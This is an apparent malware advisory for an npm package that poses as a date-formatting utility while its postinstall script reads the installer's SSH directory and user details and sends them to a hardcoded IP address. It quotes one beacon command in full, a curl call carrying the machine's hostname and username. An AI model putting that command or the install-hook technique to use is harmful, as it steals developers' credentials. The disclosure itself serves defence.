MAL-2026-5732 Malicious code in houzidawang808 (npm)

The package presents itself as a 'simple date formatting utility' (index.js exports a trivial formatDate wrapper around toLocaleDateString), but ships a postinstall.js that runs automatically on npm install. The postinstall script reads the contents of the installer's ~/.ssh directory via fs.readdirSync, collects os.userInfo() username and platform information, and POSTs the data to https://124.221.154.135/post — a hardcoded bare-IP destination with no documented purpose. Chinese-language comments in the file explicitly describe it as SSH-key theft and C2 exfiltration. The package.json additionally declares a build script curl http://124.221.154.135//pre?h=$(hostname)&u=$(whoami) that beacons hostname/username over plain HTTP to the same attacker IP, confirming the infrastructure. The benign date-utility facade is a cover story for credential-harvesting on installer machines.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.